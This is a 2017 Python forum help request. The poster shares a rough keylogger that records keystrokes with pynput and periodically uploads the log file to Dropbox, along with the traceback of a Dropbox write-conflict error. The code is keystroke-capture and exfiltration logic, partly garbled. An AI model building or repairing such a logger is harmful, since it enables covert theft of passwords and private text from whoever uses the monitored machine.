Getting error from previously working code

Discussion in 'Python' started by QuarterOunce, Mar 5, 2017.

  1. QuarterOunce


    Mar 5, 2017
    Likes Received:
    This is a program I am currently making to moniter my computer and send logs to my dropbox, so far it has worked but now my dropbox code is breaking for whatever reason, I believe because it is opened by the script already, and logging keys. so my dropbox script cannot send it because its already in use. that's my guess at least, I know the code is sloppy but I'm still learning and id like to think ive come far with this project. Thanks

    import dropbox, logging, win32gui, os, random, time, datetime, threading, datetime, sys, shutil
    from pynput.keyboard import Key, Listener
    log_dir = ""
    log_file = "C:/Users/16endbre/Desktop/test.txt"
    dbx = dropbox.Dropbox("MY_AUTH_TOKEN")
    title = win32gui
    string = "[Start of logs]\n"
    start_time = time.time()

    #def OnMouseEvent(event):
    logging.basicConfig(filename=(log_dir + log_file), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    def on_press(key):
    if (time.time() - start_time) > 10:
    with open(log_file, "rb") as f:
    dbx.files_upload(, '/test.txt', mute=True)
    print(time.time() - start_time)

    with Listener(on_press=on_press) as listener:

    error stack from running above code>>
    Traceback (most recent call last):
    File "C:\Users\16endbre\Desktop\", line 23, in <module>
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\", line 180, in join
    six.reraise(exc_type, exc_value, exc_traceback)
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\", line 685, in reraise
    raise value.with_traceback(tb)
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\", line 136, in inner
    f(self, *args, **kwargs)
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\keyboard\", line 211, in _process
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\", line 67, in inner
    if f(*args) is False:
    File "C:\Users\16endbre\Desktop\", line 16, in on_press
    dbx.files_upload(, '/test.txt', mute=True)
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\", line 1252, in files_upload
    File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\", line 272, in request
    dropbox.exceptions.ApiError: ApiError('8f8c40eabeabdcd72803dc0efd153b9a', UploadError('path', UploadWriteFailed(reason=WriteError('conflict', WriteConflictError('file', None)), upload_session_id='AAAAAAAAACAkuKJ7f4AEig')))
    QuarterOunce, Mar 5, 2017
    1. Advertisements

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments (here). After that, you can post your question and our members will help you out.